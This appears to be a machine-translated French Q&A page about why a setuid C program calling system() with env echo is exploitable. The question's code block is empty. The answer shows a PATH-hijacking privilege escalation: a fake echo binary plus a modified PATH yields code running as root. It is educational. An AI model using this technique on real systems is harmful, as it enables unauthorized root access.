34 votes

Qu'y a-t-il de vulnérable dans ce code C ?

<pre><code></code><p>La façon dont je le comprends, le code ci-dessus permet l'exécution arbitraire de code (ou de programme) - ce qui rend cela vulnérable, et comment peut-on en profiter?</p></pre>

56voto

Adam Zalcman Points 13198

Vous pouvez remplacer l' PATH variable pour pointer vers un répertoire avec votre version personnalisée d' echo et depuis echo est exécuté à l'aide d' env, elle n'est pas traitée comme un construit-dans.

Cela constitue une vulnérabilité seulement si le code est exécuté en tant qu'utilisateur privilégié.

Dans l'exemple ci-dessous le fichier de c. c contient le code à partir de la question.

$ cat echo.c
#include <stdio.h>
#include <unistd.h>

int main() {
  printf("Code run as uid=%d\n", getuid());
}
$ cc -o echo echo.c
$ cc -o v v.c
$ sudo chown root v
$ sudo chmod +s v
$ ls -l
total 64
-rwxr-xr-x  1 user     group  8752 Nov 29 01:55 echo
-rw-r--r--  1 user     group    99 Nov 29 01:54 echo.c
-rwsr-sr-x  1 root     group  8896 Nov 29 01:55 v
-rw-r--r--  1 user     group   279 Nov 29 01:55 v.c
$ ./v
and now what?
$ export PATH=.:$PATH
$ ./v
Code run as uid=0
$ 

Notez que le paramètre de l'identificateur d'utilisateur réel, efficace et ID utilisateur enregistré set-user-ID par un appel à l' setresuid() avant l'appel à l' system() dans le code vulnérable publié dans la question permet d'exploiter la vulnérabilité de même lors de l'uid effectif est défini pour un utilisateur privilégié ID réel de l'utilisateur ID reste non privilégié (comme c'est par exemple le cas quand on s'appuie sur set-user-ID bits sur un fichier comme ci-dessus). Sans l'appel à setresuid() de shell à exécuter par system() serait réinitialiser l'uid effectif du dos de l'utilisateur réel de l'ID de faire de l'exploit inefficace. Toutefois, dans le cas où l'vulnérables code est exécuté avec le real ID d'utilisateur d'un utilisateur privilégié, system() appel à lui seul est suffisant. Citant sh page de man:

Si le shell est lancé avec l'utilisateur (le groupe) id n'est pas égale à l'utilisateur réel (groupe) id, et l'option-p n'est pas fournie, pas les fichiers de démarrage sont lire, shell fonctions ne sont pas héritées de l'environnement, la SHELLOPTS variable, si elle apparaît dans l'environnement, est ignoré, et l'efficacité de l'utilisateur id correspond à l'identificateur d'utilisateur réel. Si l'option-p est fournie à l'invocation, le démarrage le comportement est le même, mais l'uid effectif n'est pas réinitialisé.

Notez également que, setresuid() n'est pas portable, mais setuid() ou setreuid() peut également être utilisé pour le même effet.

Prograide.com

Prograide est une communauté de développeurs qui cherche à élargir la connaissance de la programmation au-delà de l'anglais.
Pour cela nous avons les plus grands doutes résolus en français et vous pouvez aussi poser vos propres questions ou résoudre celles des autres.

Powered by:

X